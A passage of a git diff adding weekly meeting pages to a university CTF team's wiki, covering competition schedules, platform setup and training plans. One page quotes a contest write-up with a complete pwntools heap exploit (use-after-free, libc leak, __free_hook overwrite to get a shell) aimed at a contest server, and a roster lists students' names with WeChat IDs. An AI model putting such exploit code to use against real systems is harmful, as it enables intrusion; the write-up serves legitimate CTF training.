  3. Review of the recent works.
  4. +
  5. Course from the SU team.
  6. +
  7. Competition event for this week.
  8. +
  9. Drunk too much coffee.
  10. +
+

Competition Review

+

You may notice the awards we've got have been pushed to the wiki.

+

We have participated in the eCTF for practice last week.

+

img

+

Challenge solving process:

+
    +
  • Forensics 3 / 8
  • +
  • Crypto 3 / 8
  • +
  • Misc 5 / 5 AK
  • +
  • RE-pwn 4 / 5
  • +
  • OSINT 1 / 8 (Oh God...)
  • +
  • Web 3 / 3 AK
  • +
  • Easy peasy 2 /2 AK
  • +
+

The challenges quality is on average.

+

Project Review

+

I've started too many projects in the recent meetings...

+

Daily Article Bot

+

The project aims to publish news, blogs, and writeups from personal websites. Going to follow the steps:

+
    +
  • Catch several websites.
  • +
  • Telegram bot.
  • +
  • Mail subscribe link.
  • +
+

I have created the Rust project for the Telegram bot using the following template:

+

https://github.com/telegram-rs/telegram-bot

+

The function would be done soon.

+

If you are interested in the Mail subscribe service's development, please let me know.

+

Platform

+

Thanks to the very brief description of the installing instruction, deploying ctfd-whale is hard.

+
    +
  • [x] Move all the data to the local machine.
  • +
  • [ ] Establish ctfd-whale.
  • +
  • [ ] Package all the challenges to the docker image.
  • +
  • [x] Establish SSL certification.
  • +
+

I'll find it out these days.

+ +

Do you remember the Chaff Bug?

+

https://wiki.compass.college/Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/

+

In brief: the Chaff is an idea to create hundreds of fake buffer overflow points. The work of the attackers is increased by non-vulnerable bugs.

+

However, SCA (Source Code Analysis), concolic analysis, and Fuzzing can solve this problem.

+

The PWN challenges from CTF can also be solved by the concolic analysis. The famous angr is often used to do the job.

+

https://angr.io/

+

We also know the CGC (Cyber Grand Challenge) is major in automated software analysis.

+

A survey of the Cyber Reasoning System: https://ieeexplore.ieee.org/abstract/document/8411838

+

I'm going to summarize the research on CRS and SCA.

+

Wiki Contact

+

I've added the contact email address to Wiki.

+

As well as the weekly meeting address.

+

https://wiki.compass.college/

+

Learn from SU Team

+

It's all from an article forwarded by Frankss.

+

https://team-su.github.io/

+

SU team has achieved the top rank in SUSCTF 2022. SU team is a united team of members in the universities (we are a university team with all of us from SUSTech).

+

SU team is established in 2016, and be famous in 2022.

+

The cooperation experience from SU:

+
    +
  • Collaborate with the university club.
  • +
  • Communication with members, teachers from other teams.
  • +
  • An experienced member leads a new member.
  • +
  • Layer management: each orientation has an admin.
  • +
  • Each member concentration on the specific orientation.
  • +
  • Reduce the pigeons.
  • +
  • Solving the challenges with a girlfriend.
  • +
+

I've pm each member to confirm the major orientation.

+

The communication with the SU team is in the progress. Hopefully, we would talk with them in the future.

+

Competition

+

The 1337UP live CTF (Jeopardy, dynamic score from 500 to 50)

+

The team size is 4.

+

https://ctf.intigriti.io/

+

星期五, 11 三月 2022, 23:00 CST — 星期六, 12 三月 2022, 23:00 CST

+

The top 3 teams would get cash awards.

+

The top 10 teams would receive some 1337UP swag.

+

The top 100 teams would receive a souvenir certificate, and an increased chance to be invited to the private program of the Intigriti.

+

This is the first 1337UP CTF.

+

The organizer: Intigriti (Europe's #1 ethical hacking and bug bounty platform)

+

Drunk too much coffee

+

Take care of yourself.

+

Doing some exercise can be helpful.

+

I hope COVID-19 will end soon.

+

Note

+
    +
  • [x] 进展立即反馈,周会进行总结
  • +
  • [x] notion模板的改动,比赛负责人
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-03-17/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-03-17/index.html new file mode 100644 index 000000000..b04c01489 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-03-17/index.html @@ -0,0 +1,8183 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-03-17 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-03-17

+
    +
  1. Competition schedule.
  2. +
  3. CTF Platform dynamic container.
  4. +
  5. Competition management.
  6. +
+

Competition Schedule

+

2022数字中国创新大赛虎符网络安全赛道

+

时间:2022-03-19 09:00 ~ 2022-03-20 17:00

+

https://datacon.qianxin.com/competitions/22/introduction

+

晋级资格:初赛成绩排名前35的队伍(线上初赛成绩排名前20的高校战队+线上初赛成绩排名前15的行业战队)进入决赛,同一集团单位、高校最多只能入围2支战队,每队不超过4人,及一名领队,决赛前队员可更换,但要求参赛选手需是初赛报名人员,并且必须来自同一集团单位或高校,进入总决赛单位/行业战队需提供半年以上的本单位社保证明,各高校战队需提供加盖所在同一高校公章的在读证明,如发现任何作弊、代打行为,将直接取消比赛资格并进行公告。

+

Misc: 周翰然、陈梓涵、巫晓、朱嘉楠

+

Web: 金肇轩、严文谦

+

Re: 邬一帆、朱弘

+

PWN: 李照、邬一帆

+

Crypto: 朱嘉楠、周翰然、严文谦

+

题目整理 & 同步:邬一帆、李照

+

CTFd Dynamic Container

+

Current solution: https://github.com/frankli0324/ctfd-whale/

+

The dependency frp is vulnerable to SSRF in the history (and very likely now), and have been bypassed several times.

+
    +
  • Should we still deploy on the COMPASS server?
  • +
+

The local deployment is successful and ready to use, but we may have a better alternative.

+

Competition Management

+

For each competition, we would have an administrator. The admin has the following tasks:

+
    +
  • Synchronize the challenges to the Notion.
  • +
  • Collect the writeups after the competition.
  • +
+

The competitions would use Notion to update.

+
    +
  • Contact @Frankss to be invited.
  • +
+

The competitions would use Discord to chat.

+

Note

+
    +
  • [ ] 平台分布部署,容器放在校外
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-03-24/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-03-24/index.html new file mode 100644 index 000000000..0803dc7ff --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-03-24/index.html @@ -0,0 +1,8435 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-03-24 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-03-24

+
    +
  1. Past: Hufu CTF 2022.
  2. +
  3. On going: T3N4CI0US CTF 2022
  4. +
  5. Plan: Line CTF
  6. +
+

Hufu CTF 2022

+

2022数字中国创新大赛虎符网络安全赛道

+

时间:2022-03-19 09:00 ~ 2022-03-20 17:00

+

https://datacon.qianxin.com/competitions/22/introduction

+

晋级资格:初赛成绩排名前35的队伍(线上初赛成绩排名前20的高校战队+线上初赛成绩排名前15的行业战队)进入决赛,同一集团单位、高校最多只能入围2支战队,每队不超过4人,及一名领队,决赛前队员可更换,但要求参赛选手需是初赛报名人员,并且必须来自同一集团单位或高校,进入总决赛单位/行业战队需提供半年以上的本单位社保证明,各高校战队需提供加盖所在同一高校公章的在读证明,如发现任何作弊、代打行为,将直接取消比赛资格并进行公告。

+

Misc: 周翰然、陈梓涵、巫晓、朱嘉楠

+

Web: 金肇轩、严文谦

+

Re: 邬一帆、朱弘

+

PWN: 李照、邬一帆

+

Crypto: 朱嘉楠、周翰然、严文谦

+

题目整理 & 同步:邬一帆、李照

+

img

+

T3N4CI0US CTF 2022

+

The competition is on processing. We have several challenges to solve.

+

The current rank is #4, 2 challenge (and 20 points for hints) left to be rank 1.

+

Web/Robots

+

Got 2 sub pages: /robots.txt and /hint.html

+

As the hint goes, we should find /fiag.html, but failed.

+

Hint: Something's wrong with the word 'fiag'. \<head line>Password Decryption

+

Web/YessYess

+

Python SSTI injection with filters. The underline, dot, and parenthesis are filtered out.

+

Could use unicode conversion.

+

Misc/pws

+

Don't know what's the meaning of the file.

+

Misc/angry

+

Got a Base36-like string, don't know what to do next.

+

Crypto/1337 Wallet

+

scrypt-hash decryption without password.

+

Forensics/Grizzly

+

A zip file inside the given picture. Doesn't have the password.

+

Forensics/Dobby

+

The text can be decrypted with string Dobby is not free in flag format, but not the flag.

+

@Frankss: the picture has some hidden mosaic below after adjusting the height.

+

Misc/()

+

Don't know the meaning of the challenge.

+

Hint: understand the meaning of alphabet.

+

OSINT/OSINT NO.3

+

Don't know what to find.

+

The store is John & the Juice New York.

+

Misc/Where

+

Not interested in Dolpari's information.

+

Misc/flag

+

The description is to find flag in the Discord server (not the flag in channel description).

+

Misc/()2

+

Similar to the (), don't know what to do.

+

Line CTF

+

The LINE CTF is going to be an exercise competition.

+

https://score.linectf.me/

+

Schedule: March 26, 2022, 08:00 AM ~ March 27th, 08:00 AM (UTC+8)

+

Style: Jeopardy-style (Team Cometition @ Online)

+

Organizer: Security team at LINE

+

Discord: https://discord.gg/4aXUwrqD3Z

+

If you want to participate, please contact me.

+

Note

+
    +
  • [ ] 周六进行题目解题的分享。
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-03-31/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-03-31/index.html new file mode 100644 index 000000000..91a083ce3 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-03-31/index.html @@ -0,0 +1,8233 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-03-31 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-03-31

+
    +
  1. Competitions schedule.
  2. +
  3. Writeups update.
  4. +
+

Competitions

+

愚人节CTFshow娱乐赛

+

比赛名称:愚人节欢乐赛

+

题目难度:简单,欢乐,恶搞

+

比赛奖励:总分前10,定制鼠标垫/女装,二选一

+

比赛时间:2022年4月1日(周五) 18时整

+

比赛时长:24小时

+

比赛地址:https://ctf.show/challenges

+

投稿邮箱:ctfshow@163.com

+

Midnight Sun Qual

+

https://midnightsunctf.com/

+

星期六, 02 四月 2022, 18:00 CST — 星期日, 03 四月 2022, 18:00 CST

+

8 teams from academic & 8 teams from industry.

+

Writeups update

+

虎符CTF WP: https://wiki.compass.college/Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/

+

招新赛 WP: https://wiki.compass.college/Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/

+

Pull request steps:

+
    +
  1. Use markdown to write new pages.
  2. +
  3. Modify wiki/mkdocs.yml to update the index.
  4. +
+

Dynamic docker

+

It's pity that after so many tries, I can't make the CTFd-whale work properly.

+
    +
  1. +

    Have sent an email to BUUOJ and CTFshow to talk about the platform construction.

    +
  2. +
  3. +

    Starting my Docker-API project to make a cloud-supported SaaS platform.

    +
  4. +
+

Now I've designed a docker-compose to run environments. 招新 challenges are working fine, other challenges are in progress.

+

Note

+
    +
  • [x] 与Frank讨论CTFd-whale搭建
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-04-07/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-04-07/index.html new file mode 100644 index 000000000..cf2f98740 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-04-07/index.html @@ -0,0 +1,8367 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-04-07 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-04-07

+
    +
  1. Guangdong Province University CTF.
  2. +
  3. Offline schedule.
  4. +
+

第二节广东大学生网络安全攻防大赛

+
    +
  • +

    5月15日前,各高校遴选参加全省比赛队伍,一所学校可有多组队伍参赛;

    +
  • +
  • +

    5月21日至22日,组织省级初赛评审,初赛内容为30%知识赛+70%攻防夺旗赛,按照成绩高低取前30名队伍进入省级总决赛,每个高校晋级队伍不超过2个;

    +
  • +
  • +

    报名时间:截止至2022年5月15日(星期日)17:00。

    +
  • +
  • +

    报名方式:参赛学校填写相关报名表,将省级初赛报名表(附件3)发至指定邮箱tw@hzu.edu.cn;同时,加入赛事咨询QQ群825405920。

    +
  • +
+

The sign-up would be collected and submitted once.

+

According to the previous event, there are some problems:

+
    +
  • 初赛环境老是炸,最后30多分钟都炸了,答案都提交不了
  • +
  • 晋级塞,,题目也偶尔会出现断开的问题,,第二个web题,,竟然一开始直接返回空,后来又可以了??不知道是不是只有我遇到这个问题,,晕
  • +
  • 而且,,晋级赛竟然不是uuid式动态flag。。。。?
  • +
+

(From https://tari.moe/2021/05/23/2021gd-university-ctf/)

+

old

+

image.png

+

任意文件读取,不过flag.txt 读不了,但可以看 hint.txtsmali 字节码,提示了 fastjson 1.2.24

+

image.png

+

先读取本进程相关目录

+

image.png

+

/usr/local/run/start.jar 获取源码,IDEA打开分析

+

image.png

+

原来过滤了 flag ,怪不得读取不了

+

往反序列化方向,不过有waf

+

image.png

+

然后还有限制

+

image.png

+

这里卡了挺久,试了网上很多EXP,都不行

+

然后突然想起fastjson反序列化的原理

+

一般是需要别的库的配合,通过反射获取相关方法的

+

于是我一个个依赖找

+

image.png

+

搜了下 spring ,没有相关漏洞,但是在 tomcat dbcp 里刚好发现了可以利用,而且不用利用 rmi ldap 之类的

+

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

+

然后刚好用到 BCEL,HFCTF2021也刚好用到, 刚好复现过了,所以非常熟练 (

+

https://github.com/f1tz/BCELCodeman

+

编写 java poc,转换为 class 然后生成 BCEL

+

这样可以绕过waf的黑名单,即绕过了第1个challenge

+

还有2个 challenge,这个简单,就长度大于2000,然后需要包含 flag 关键字

+

这里直接把 /flag.txt改一下名读取即可

+

image.png

+

image.png

+

BabyNote

+

题目是基于 glibc 2.31 的菜单堆题。

+

漏洞出现在 free 之后没有置零指针导致的 UAF :

+

image-20210524162332431

+

程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。

+

思路

+
    +
  1. 利用 tcache double 和 scanf 输出长字符串触发 malloc_consolidate 获取 main_arena 地址
  2. +
  3. 爆破倒数第四个数字,将堆分配到 stdout 结构体上,修改 flag 和 write_base 地址泄露出 libc 地址
  4. +
  5. 利用 tcache dup get shell
  6. +
+

遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :

+
p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
+1
+
+

flag 这么设置绕过检查没有问题,问题是将 write_base 最低值字节修改为 0x88 了,而 libc 2.31 中 write_ptr 最低位是 0x23

+

image-20210524170155561

+

导致起始地址比结束地址大,而没有东西输出。还有就是调试断点位置设置问题 ,导致一直以为是修改不成功的原因。断点一开始是打在修改后下一次进入主菜单的时候,由于每次输出都会刷新 stdout 结构体部分指针,导致一直以为没修改成功。正确应该在 read 打断点,然后 n 跳一步查看是否成功修改结构体。

+

EXP

+
from pwn import *
+# context.log_level = 'debug'
+context.terminal = ['tmux','sp','-h']
+
+
+
+def add(content):
+    p.sendlineafter(">>> ",str(1))
+    p.sendafter("Input Content:\n",content)
+def gift():
+    p.sendlineafter(">>> ",str(666))
+def delete(id):
+    p.sendlineafter(">>> ",str(3))
+    p.sendlineafter("Input ID:\n",str(id))
+def edit(id,content):
+    p.sendlineafter(">>> ",str(2))
+    p.sendlineafter("Input ID:\n",str(id))
+    p.sendafter("Input Content:\n",content)
+
+def exp():
+    add('a'*58)#0
+    add('a'*58)#1
+    add('a'*58)#2
+    for _ in range(8):
+        delete(0)
+        edit(0,'b'*0x58)
+    edit(0,'\x00'*0x10)
+    p.sendlineafter(">>> ",'1'*0x450)
+    edit(0,'\xa0\x66')
+
+    stdout_offset = libc.symbols['_IO_2_1_stdout_']
+    log.info("stdout_offset:"+hex(stdout_offset))
+
+    add('c'*0x8)#3
+    # gdb.attach(p,"b *$rebase(0x1392)")
+    # raw_input()
+    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
+    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
+    log.info("libc_addr:"+hex(libc_addr))
+
+    free_hook = libc_addr+libc.sym['__free_hook']
+    system_addr = libc_addr+libc.sym['system']
+    binsh_str = libc_addr+libc.search('/bin/sh').next()
+
+    delete(1)
+    edit(1,p64(free_hook)*2)
+    add('/bin/sh\x00')
+    add(p64(system_addr))
+    delete(1)
+
+    p.interactive()
+
+
+# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
+# libc = ELF("./libc-2.31.so")
+# exp()
+
+if __name__ == '__main__':
+    # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
+    # libc = ELF("./libc-2.31.so")
+    # p = process("./BabyNote")
+    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+    p = remote("8.134.14.168", 10000)
+    libc = ELF("./libc-2.31.so")
+    while True:
+        try:
+            exp()
+            exit(0)
+        except:
+            p.close()
+            p = remote("8.134.14.168", 10000)
+            # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
+123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
+
+

WX20210523-133922

+

Offline Activity Schedule

+

We have returned to the campus yesterday.

+

Looking forward to our offline activity.

+
    +
  • We are going to use the expert-beginner cooperating method.
  • +
  • The training competition would be more serious.
  • +
  • CTF platform would collect self-designed challenges and closed competition challenges.
  • +
  • Some competition schedules would be replaced with AWD competition.
  • +
+

Note

+
    +
  • [ ] 第一届题目搜集发布
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-04-14/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-04-14/index.html new file mode 100644 index 000000000..78b7f548a --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-04-14/index.html @@ -0,0 +1,8199 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-04-14 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-04-14

+
    +
  1. Guangdong Province University CTF.
  2. +
  3. PWN challenge training.
  4. +
  5. Upcoming competitions.
  6. +
+

第二节广东大学生网络安全攻防大赛

+

Now we have 2 teams ready, 1 member to set up the third team.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
戴骏飞临床医学大二队长wxid_jxwdutfinu3b21
代魏竞物理学大二成员assassin_dou
刘子羽通识通修大二成员L13768311688
陈旭阳通识通修大二成员xy591557928
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
邬一帆通识通修大二队长GhostFrank
严文谦通识通修大一成员wxid_pcjl48tfa35n22
朱嘉楠计算机科学与工程大二成员GGAutomaton
朱弘计算机科学与工程大二成员Trust_04zh
+

Besides, we are going to invite CRA's member to join the competition.

+

Note

+
    +
  • [ ] 搭建SRC平台,与信息中心合作
  • +
  • [ ] PWN题目提升资料:Intel手册、GLIBC源码
  • +
  • [ ] 邀请CS315的同学参加竞赛
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-04-21/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-04-21/index.html new file mode 100644 index 000000000..a9c2cd777 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-04-21/index.html @@ -0,0 +1,8209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-04-21 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-04-21

+
    +
  1. Guangdong Province University CTF online talk.
  2. +
  3. CTF toolkit.
  4. +
  5. Upcoming competitions.
  6. +
+

第二节广东大学生网络安全攻防大赛

+

The online talk session would be held on April 30th.

+

Organizer: COMPASS CTF Team

+

Co-operator: Computer Research Association

+

Invitation: all the students from SUSTech

+

After the talk, we would arrange 2 pieces of training (introduction).

+

CTF toolkit

+

https://wiki.compass.college/Tool/Cryptography/SageMathCell/

+

The current tools are collected from every CTF challenge.

+

Some challenges are using some specific tool, that isn't on the list.

+

I've found the difficulty to configure every machine to work for CTF events. So, let's make a toolkit for fast establishing the environment.

+
    +
  • Docker image
  • +
  • Kali virtual machine image
  • +
  • Windows toolkit
  • +
  • (Not sure) macOS toolkit
  • +
+

Events

+

CUCTF 1.0

+

星期六, 23 四月 2022, 14:30 CST — 星期六, 23 四月 2022, 20:30 CST

+

https://ctftime.org/event/1635

+

CUCTF 1.0 is First Edition of CUCTF from CUCYSEC Club. +This CTF will be in collaboration of WIZCON '22 which aims to introduce beginners to Capture the Flags.

+

Link: http://ctf.teamsanitizer.me:2052/

+

Note

+
    +
  • [ ] 分享邀请会海报与宣传
  • +
  • [ ] 先完成前两支队伍的报名
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-04-28/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-04-28/index.html new file mode 100644 index 000000000..77ef8f965 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-04-28/index.html @@ -0,0 +1,8185 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-04-28 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-04-28

+
    +
  1. Guangdong Province University CTF online talk.
  2. +
  3. Guide book progress.
  4. +
  5. Offline activities re-schedule.
  6. +
+

第二届广东大学生网络安全攻防大赛

+

The online talk session would be held on April 30th.

+

Organizer: COMPASS CTF Team

+

Co-operator: Computer Research Association

+

Invitation: all the students from SUSTech

+

After the talk, we would arrange 2 pieces of training (introduction).

+

img

+
    +
  1. Online talk: https://meeting.tencent.com/p/4484894504
  2. +
  3. Training activities: May 7th, May 14th.
  4. +
  5. Competition time: May 21st-22nd.
  6. +
+

Guide Book

+

+

Under the thought of this aspect of the difficult, I want to introduce those things you won't know when first solved some challenges. Each chapter of the book would start with some practice knowledge, and end with some difficult advanced principles. The whole book would be divided into two parts: basics knowledge that you can learn from simply reading and learning some limited necessary knowledge, and the hard part that you need to read more about the principle, source code, and the details of the techniques.

+

The volume I is under writing.

+

Volume I:

+

Chapter 1: introduction to the CTF

+

Introduction guidance to the competitions, challenges, and the format of the different CTF events. I will talk about the different styles of the CTF, different areas of the CTF, and some of the key attitudes of the CTF. This chapter won't have any technical details about the CTF, but you will learn about the philosophy of the game and the different goals of the events.

+

Chapter 2: information gathering

+

The information quantity is so large that most of the time, you may struggle with searching everywhere and get nothing. From searching for the correct knowledge to solve your current faced problems to the sensitive information gathering for the specific organizations, we want to find useful information out of the ocean of garbage information. Information gathering is the basic skill you should master.

+

Chapter 3: OSINT and sensitive information exposure

+

...

+

Offline Activities

+

Talked with Frankss.

+

The current campus team still needs more members.

+

For every student, we might have 1 - 2 years working in the CTF competitions, and we need to award prizes.

+

The past half year is highly affected by the COVID-19, and we are learning online (mostly, by ourselves). In the last 5 weeks of this semester, I want to form some offline activities as the last year.

+

The offline training would have longer time (longer than the past 4 hour training), and we would have weekly challenges (highly encouraged to finish).

+

Besides, the team would have 2 types of members: active and retired. We want to have a clear list of students who still active to participate competitions.

+

Note

+
    +
  • [x] 分享邀请会海报与宣传
  • +
  • [x] 先完成前两支队伍的报名
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-05-05/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-05-05/index.html new file mode 100644 index 000000000..eb80dd49f --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-05-05/index.html @@ -0,0 +1,8121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-05-05 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-05-05

+
    +
  1. Weekly meeting has been skipped.
  2. +
  3. Upcoming training and challenges.
  4. +
  5. Competition sign up form.
  6. +
+

Training

+

Before the training, members should finish the challenges.

+

Before the afternoon, we would have talk and lectures.

+

After the afternoon, we sync the challenges together, and do some competition challenges.

+

If we have competitions, the training time may be adjusted.

+

The sign up form

+

Please fill the form before May, 9th.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-05-13/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-05-13/index.html new file mode 100644 index 000000000..82b1e089c --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-05-13/index.html @@ -0,0 +1,8184 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-05-13 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-05-13

+
    +
  1. The past training and the competition sign up.
  2. +
  3. The following training needs some challenges.
  4. +
  5. Recent and upcoming events.
  6. +
+

The past training

+

The training material would be posted on the website.

+

In the past training, we have discussed some basic ideas about the CTF challenge. Now, our new participants have learned about easy knowledge. All the discussions are simple.

+

We have several teams signed up for the upcoming competition.

+

The 2nd Guangdong Province University CTF Event would end sign up on May, 15th. From new participants, the new teams are:

+
    +
  • Na1ve team (the sign-up form hasn't been submitted, would be summited soon)
  • +
  • Leo_Adventure team
  • +
  • Long, Cheng team (from Mathematics department)
  • +
  • Mumu team
  • +
  • W3r3wθ1f Ki11 team
  • +
  • rm -rf /* team
  • +
+

Along with the previous teams, we have 9 teams in total. The 9 teams contain 2 advanced teams (from COMPASS CTF) and 7 fan teams.

+

The following training

+

The training this week would be held tomorrow (May, 14th) in the 551 Room, Southern Tower of the Engineering Department. Now, I have arranged some weekly training challenges, but still we need some materials.

+

The lecture part includes Web & PWN & RE part analysis and the difficult challenges. According to my area, I don't have enough experience in Misc and Forensics aspects.

+

Hoping you can help with the upcoming training.

+

Events

+

DEF CON 30 is upcoming. The qualification round of DEF CON would be held on May, 28th - 29th.

+

https://defcon.org/index.html

+

第十五届全国大学生信息安全竞赛-创新实践能力赛

+

https://maka.im/pcviewer/602244610/6822NHAOW602244610

+

http://www.ciscn.cn/competition/securityCompetition?compet_id=36

+

Sign up before May, 20th. The online qualification round on May 28th - 29th.

+

第十五届全国大学生信息安全竞赛-作品赛

+

http://www.ciscn.cn/competition/securityCompetition?compet_id=35

+

CTFshow 单身杯

+

https://ctf.show/challenges

+

2022-05-20 18:00 ~ 2022-05-22 18:00

+

Note

+
    +
  • [ ] 周末训练的时间日程安排
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
